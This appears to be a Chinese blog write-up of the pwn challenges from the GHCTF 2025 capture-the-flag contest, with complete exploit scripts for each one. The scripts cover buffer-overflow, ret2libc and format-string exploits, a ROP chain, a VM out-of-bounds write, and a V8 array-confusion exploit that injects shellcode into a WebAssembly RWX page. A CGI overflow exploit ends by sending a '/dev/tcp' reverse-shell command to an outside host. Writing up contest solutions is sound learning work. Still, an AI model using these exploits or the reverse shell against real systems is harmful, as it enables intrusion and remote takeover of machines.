GHCTF 2025 PWN部分

Hello_world

签到:有后门,开了PIE不能直接覆盖成后门函数地址,但是无伤大雅,后门函数与原返回地址只有后两个B有区别,覆盖后两个B即可。

exp:

from pwn import *
context.log_level = 'info'
io = remote("node2.anna.nssctf.cn",28230)
io.send(cyclic(0x20+8)+b'\xc1')
io.interactive()

ret2libc1

通过负数溢出拿到足够的money,然后买下摊子,触发漏洞函数,打ret2libc即可.

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'info'
offset=0x40+8
pop_rdi=0x400d73
#io = process("/home/monke/PWN/pwn2")
io = remote("node2.anna.nssctf.cn",28377)
elf=ELF("/home/monke/PWN/ghctf2025/ret2libc1/attachment")
libc=ELF("/home/monke/PWN/ghctf2025/ret2libc1/libc.so.6")
main_addr=elf.sym["main"]
io.sendlineafter("6.check youer money",b'1')
io.sendlineafter("3.fragrans $20",b'2')
io.sendlineafter("How many flowers do you want to buy?",b'-1000000')
io.sendline(b'5')
payload=cyclic(offset)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.sym["shop"])
io.sendlineafter('You can name it!!!',payload)

puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
 
print(hex(puts))
 

libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))

print(hex(system))
print(hex(binsh))

payload=cyclic(offset)+p64(pop_rdi)+p64(binsh)+p64(system)
io.sendlineafter('You can name it!!!',payload)

io.interactive()

ret2libc2


没有pop_rdi的gadget,意味着不能通过输出函数来泄露libc,只能直接泄露。注意到题目暗示了format,并且在leave前执行了很奇怪的操作:lea rax,[rbp+buf](下图红框)。如果在输入的时候往buf写入“%n$p”,然后覆盖返回地址到format处的gadget(下图绿框),就能触发格式化字符串漏洞任意读写,如图:

通过调试确定泄露的payload(选择libc_start_main+0x128来泄露):

payload=b'%27$p'
payload=payload.ljust(0x30,b"\x00")+p64(0)+p64(0x401227)

这样就能求出libc基址打ret2libc,但是,由于前面把程序流劫持到了函数中间开始运行,少了函数开头初始化栈帧的步骤,导致再一次leave的话rsp会被劫持到rbp+0x8处,所以rbp不能随便填。

于是干脆将计就计打栈迁移,提前把rbp布置到bss段,这样rsp也会被劫持到bss段,然后再次进入read来写入ROP(这一步同样也会覆盖rbp,注意使rbp尽量往高地址靠,这样要打onegadget的话容易满足[rbp-0x70]=NULL这种条件)

但是打system失败了,猜测是栈条件不满足。结合题目提示要打onegadget,那就直接打onegadget,可以打通。

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
offset=0x30
gadget=0x40124a
bss=0x404060
#io = process("/home/monke/PWN/ghctf2025/ret2libc2/ret2libc2")

io = remote("node2.anna.nssctf.cn",28806)
#gdb.attach(io,"b read")
elf=ELF("/home/monke/PWN/ghctf2025/ret2libc2/ret2libc2")
libc=ELF("/home/monke/PWN/ghctf2025/ret2libc2/libc.so.6")
og=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]

#leak
#payload=b'f'*offset+p64(0x404060+0x30)+p64(0x40126D)+p64(0x40123b)
payload=b'%27$p'
payload=payload.ljust(0x30,b"\x00")+p64(bss)+p64(0x401227)
io.sendline(payload)

io.recvuntil("0x")
libc_start_main_128=io.recv(12)
libc_start_main_128=int(libc_start_main_128,16)
print(hex(libc_start_main_128))
libc_base=libc_start_main_128-0x29e40
pop_rdi=libc_base+0x2a3e5
ret=libc_base+0x29139
system=libc_base+libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
print(hex(libc_base))
og=og[0]+libc_base

#gdb.attach(io)

#attack
payload2=cyclic(0x30)+p64(bss+0x300)+p64(og)
io.send(payload2)
io.interactive()

真会布置栈吗?

一道很有趣的题,一共就两函数:

有两个gadget函数IDA没显示:

很明显这个题要打ret2syscall,但是题目基本没有给常规的pop gadget,需要精心构造。

需要把0x3b传给rax,binsh的地址传给rdi,然后调用syscall。

注意到下图绿框中的gadget交换了rax和r13的值,通过gadgets函数里的pop r13可以控制r13,也就是可以间接控制rax。

然后gadgets函数中也有pop rdi,题目会打印ret的栈地址,所以可以往栈上写入binsh,把地址pop给rdi就行。,经过动调,payload构造如下:

payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x18)+p64(0)+p64(0x3b)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'

但是会卡住,怀疑是因为rsi和rdx没清零,如图:

留意到题目的以下部分还未使用:

如果给r15赋值dispatcher的地址,然后往rbx指向的位置写入xor清零的这几个gadget,通过jmp r15和dispatcher的几次互相调用,就能清零rdx和rsi,所以payload更改如下:

payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x30)+p64(ret+8)+p64(0x3b)+p64(dispatcher)+p64(0x401021)+p64(0x401027)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'

成功清零:

清零后就能成功getshell了:

完整exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'info'
offset=0x30
gadget=0x40124a
pop_r13_r15_jmp_r15=0x040101a
xchg_rax_r13_jmp_rsp=0x40100C
pop_rdi_r15_jmp_r15=0x40101d
syscall=0x40100a
ret=0x401013
dispatcher=0x401011
#rsi_rdx
io = process("/home/monke/PWN/ghctf2025/stack/attachment")
#io = remote("node2.anna.nssctf.cn",28493)
#gdb.attach(io)
#io.send(asm(shellcraft.sh()))
#io.send(b"ccccc")

pop_rsi_rdi_rbx_r13_r15_jmp_r15=0x401017
binsh=0x400000
ret=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(ret))
#payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x18)+p64(0)+p64(0x3b)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'

payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x30)+p64(ret+8)+p64(0x3b)+p64(dispatcher)+p64(0x401021)+p64(0x401027)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'
io.send(payload)

io.interactive()

ez_vm

vm pwn题,逻辑比较简单

main函数:

execute函数:

题目给的提示是指令格式,但是其实不给也能看出来:

操作码对应操作如下:

其中,v2代表destination_register,v3代表source_register_1,v4代表source_register_2

  1. 操作码 0x10(16):将指令的低 16 位值加载到目标寄存器 reg[v2]
  2. 操作码 0x20(32):将寄存器 reg[v2] 的值压入Stack。
  3. 操作码 0x30(48):从Stack中弹出一个值并存储到寄存器 reg[v2]
  4. 操作码 0x40(64):将 reg[v3] + reg[v4] 的结果存储到 reg[v2]
  5. 操作码 0x50(80):将 reg[v3] - reg[v4] 的结果存储到 reg[v2]
  6. 操作码 0x60(96):将 reg[v3] ^ reg[v4] 的结果存储到 reg[v2]
  7. 操作码 0x70(112):将 reg[v3] >> reg[v4] 的结果存储到 reg[v2]
  8. 操作码 0x80(128):将 reg[v3] << reg[v4] 的结果存储到 reg[v2]
  9. 操作码 0x90(144):将 reg[v3] 的值存储到内存地址 memory[reg[v2]] 处。

需要注意的是,Stack和Memory都是定义在bss段的变量.

题目把打印信息的函数地址给了funcptr并在最后调用,funcptr在bss段:

同时有后门函数:

所以思路是,能不能覆盖funcptr为backdoor函数地址?

注意到——操作码 0x90(144):将 reg[v3] 的值存储到内存地址 memory[reg[v2]] 处。

memory在funcptr高地址处,无法直接溢出覆盖,但是如果reg[v2]是个负数,不就可以往低地址去覆盖到funcptr了吗?把0赋值给reg0,把一个正数赋值给reg1,然后用reg0-reg1即可使reg0为负数,经过动调可以得到,当给reg1赋值0x8时即可覆盖到funcptr:

#reg0->0
io.sendline(str(0x10000000))

#reg2->0x0877
#io.sendline(str(0x10020877))

#reg1->0x8
io.sendline(str(0x10010008))

#reg0=reg0-reg1
io.sendline(str(0x50000001))

#memrery(-8)=reg2
io.sendline(str(0x90000202))

但是由于会整个把funcptr覆盖掉,所以不能只篡改后两位为0x77,需要完整地把backdoor的地址0x400877传过去:

#reg2->backdoor(0x400877)
io.sendline(str(0x10020877))#reg2->0x877
io.sendline(str(0x10060040))#reg6->0x040
io.sendline(str(0x10070010))#reg7->16
io.sendline(str(0x80060607))#reg6=reg6<<16位=0x400000
io.sendline(str(0x40020602))#reg2=reg2+reg6=0x400877

完整exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'info'

io = process("/home/monke/PWN/ghctf2025/vm/my_vm")
#io = remote("node1.anna.nssctf.cn",28833)

io.sendline("0")
io.sendline("1000")
io.sendlineafter("execve:",b'9')

#gdb.attach(io,"b execute")
#reg0->0
io.sendline(str(0x10000000))

#reg2->0x0877
#io.sendline(str(0x10020877))

#reg2->backdoor(0x400877)
io.sendline(str(0x10020877))#reg2->0x877
io.sendline(str(0x10060040))#reg6->0x040
io.sendline(str(0x10070010))#reg7->16
io.sendline(str(0x80060607))#reg6=reg6<<16位=0x400000
io.sendline(str(0x40020602))#reg2=reg2+reg6=0x400877

#reg1->0x8
io.sendline(str(0x10010008))

#reg0=reg0-reg1
io.sendline(str(0x50000001))

#memrery(-8)=reg2
io.sendline(str(0x90000202))

io.interactive()

my_v8

题目与2019 star CTF的题目“oob”类似,就是把oob函数拆解成了Myread和Mywrite来实现,直接改exp就行,oob题目解析见从一道CTF题零基础学V8漏洞利用 – FreeBuf网络安全行业门户,下面给出本题exp:

// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.Myread();
var float_array_map = float_array.Myread();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.Mywrite(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.Mywrite(obj_array_map); // 还原array类型,以便后续继续使用
    return obj_addr;
}

// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.Mywrite(obj_array_map);
    let faked_obj = float_array[0];
    float_array.Mywrite(float_array_map); // 还原array类型,以便后续继续使用
    return faked_obj;
}


var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}

function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

f();

Fruit Ninja

web pwn

也就是要想进入execute_cgi函数,必须请求一个可执行文件,发现目录下面刚好给了一个:

execute_cgi函数:

unsigned __int64 __fastcall execute_cgi(unsigned int a1, const char *a2, const char *a3, const char *a4)
{
  __int16 v4; // ax
  size_t v5; // rax
  char v9; // [rsp+2Fh] [rbp-D31h] BYREF
  int stat_loc; // [rsp+30h] [rbp-D30h] BYREF
  int line; // [rsp+34h] [rbp-D2Ch]
  int v12; // [rsp+38h] [rbp-D28h]
  __pid_t pid; // [rsp+3Ch] [rbp-D24h]
  int pipedes[2]; // [rsp+40h] [rbp-D20h] BYREF
  int v15[2]; // [rsp+48h] [rbp-D18h] BYREF
  char s[256]; // [rsp+50h] [rbp-D10h] BYREF
  char string[256]; // [rsp+150h] [rbp-C10h] BYREF
  char v18[256]; // [rsp+250h] [rbp-B10h] BYREF
  char dest[512]; // [rsp+350h] [rbp-A10h] BYREF
  char s2[21]; // [rsp+550h] [rbp-810h] BYREF
  char v21[1003]; // [rsp+565h] [rbp-7FBh] BYREF
  char buf[1032]; // [rsp+950h] [rbp-410h] BYREF
  unsigned __int64 v23; // [rsp+D58h] [rbp-8h]

  v23 = __readfsqword(0x28u);
  line = 1;
  v12 = -1;
  strcpy(dest, a2);
  strcpy(s2, "A");
  if ( !strcasecmp(a3, "GET") )
  {
    while ( line > 0 && strcmp("\n", s2) )
      line = get_line(a1, s2, 1024LL);
  }
  else
  {
    line = get_line(a1, s2, 1024LL);
    s2[15] = 0;
    if ( !strcasecmp(s2, "Content-Length:") )
      v12 = atoi(&s2[16]);
    line = get_line(a1, s2, 1024LL);
    s2[20] = 0;
    if ( !strcasecmp(s2, "Authorization: Basic") )
    {
      v4 = strlen(v21);
      GdecBase64(v21, (unsigned __int16)(v4 - 1), v18);
    }
    while ( line > 0 && strcmp("\n", s2) )
      line = get_line(a1, s2, 1024LL);
    if ( v12 == -1 || strcmp(v18, "pwner") )
    {
      bad_request(a1);
      return __readfsqword(0x28u) ^ v23;
    }
  }
  strcpy(s2, "HTTP/1.0 200 OK\r\n");
  v5 = strlen(s2);
  send(a1, s2, v5, 0);
  if ( pipe(pipedes) >= 0 && pipe(v15) >= 0 && (pid = fork(), pid >= 0) )
  {
    if ( !pid )
    {
      dup2(pipedes[1], 1);
      dup2(v15[0], 0);
      close(pipedes[0]);
      close(v15[1]);
      sprintf(s, "REQUEST_METHOD=%s", a3);
      putenv(s);
      if ( !strcasecmp(a3, "GET") )
      {
        sprintf(string, "QUERY_STRING=%s", a4);
        putenv(string);
      }
      else
      {
        sprintf(buf, "CONTENT_LENGTH=%d", v12);
        putenv(buf);
      }
      execl(dest, dest, 0LL);
      exit(0);
    }
    close(pipedes[1]);
    close(v15[0]);
    if ( !strcasecmp(a3, "POST") && v12 <= 1024 )
    {
      recv(a1, buf, v12, 0);
      if ( !(unsigned int)check_content(buf) )
        memset(buf, 0, 0x400uLL);
      write(v15[1], buf, v12);
    }
    while ( read(pipedes[0], &v9, 1uLL) > 0 )
      send(a1, &v9, 1uLL, 0);
    close(pipedes[0]);
    close(v15[1]);
    waitpid(pid, &stat_loc, 0);
  }
  else
  {
    cannot_execute(a1);
  }
  return __readfsqword(0x28u) ^ v23;
}

简单逆向即可得到通信格式:

payload = b'POST /rule.cgi\r\n'
payload += b'Content-Length: 0\r\n'
payload += b'Authorization: Basic cHduZXI=\r\n' #cHduZXI=是pwner的base64编码

函数execl(dest, dest, 0LL);存在命令执行,所以思路是想方设法给dest传递/bin/sh.

发现以下代码存在溢出:

GdecBase64(v21, (unsigned __int16)(v4 - 1), v18);

把Authorization: Basic字段 base64解码后的字符串赋给了v18,但没有限定Authorization: Basic的长度,通过v18溢出能覆盖到dest:

payload1=b'pwner\x00' +  b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00'

到此处的exp:

from pwn import*
from base64 import *
context.log_level="info"
p=remote("node5.anna.nssctf.cn",21757)
#p=remote("127.0.0.1",4000)
payload1=b'pwner\x00' +  b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00'
payload2=base64.b64encode(payload1)

print(payload2)

payload = b'POST /rule.cgi\r\n'
payload += b'Content-Length: 500\r\n'#.format(len(body))
payload += b'Authorization: Basic '+payload2+b'\r\n'

p.sendline(payload)

p.interactive()

cat flag无回显:

可能需要反弹shell:

sh -i >& /dev/tcp/ip/port 0>&1

我的服务器有点问题,弹不上,向web手求助(

成功拿到shell,cat flag:

from pwn import*
from base64 import *
context.log_level="info"
p=remote("node5.anna.nssctf.cn",21757)
#p=remote("127.0.0.1",4000)
payload1=b'pwner\x00' +  b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00'
payload2=base64.b64encode(payload1)

print(payload2)

payload = b'POST /rule.cgi\r\n'
payload += b'Content-Length: 500\r\n'#.format(len(body))
payload += b'Authorization: Basic '+payload2+b'\r\n'

p.sendline(payload)

p.sendlineafter(b'HTTP/1.0 200 OK\r\n',b'sh -i >& /dev/tcp/ip/port 0>&1')
p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇